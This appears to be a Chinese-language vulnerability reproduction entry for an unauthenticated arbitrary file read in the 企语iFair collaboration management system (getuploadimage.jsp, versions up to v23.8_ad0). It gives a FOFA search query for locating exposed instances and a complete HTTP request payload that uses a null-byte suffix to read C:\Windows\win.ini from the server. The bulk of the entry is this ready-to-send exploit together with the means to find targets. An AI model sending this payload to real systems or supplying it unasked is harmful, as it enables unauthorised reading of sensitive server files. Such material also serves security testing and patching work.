Q9-1企语iFair-协同管理系统-任意文件读取

漏洞描述：

企语iFair协同管理系统getuploadimage.jsp接口处存在任意文件读取漏洞，未经身份认证的攻击者可以通过此漏洞获取服务器敏感信息，使系统处于极不安全状态。

影响版本：

```
企语iFair <= v23.8_ad0
```

网站图片：

网络测绘：

fofa语法：

FOFA：app="服务社-企语iFair"

漏洞复现：

payload：

```
GET /oa/common/components/upload/getuploadimage.jsp?imageURL=C:\Windows\win.ini%001.png HTTP/1.1
Host: your-ip
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5758.195 Safari/537.36 OPR/100.0.2916.45
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

效果图: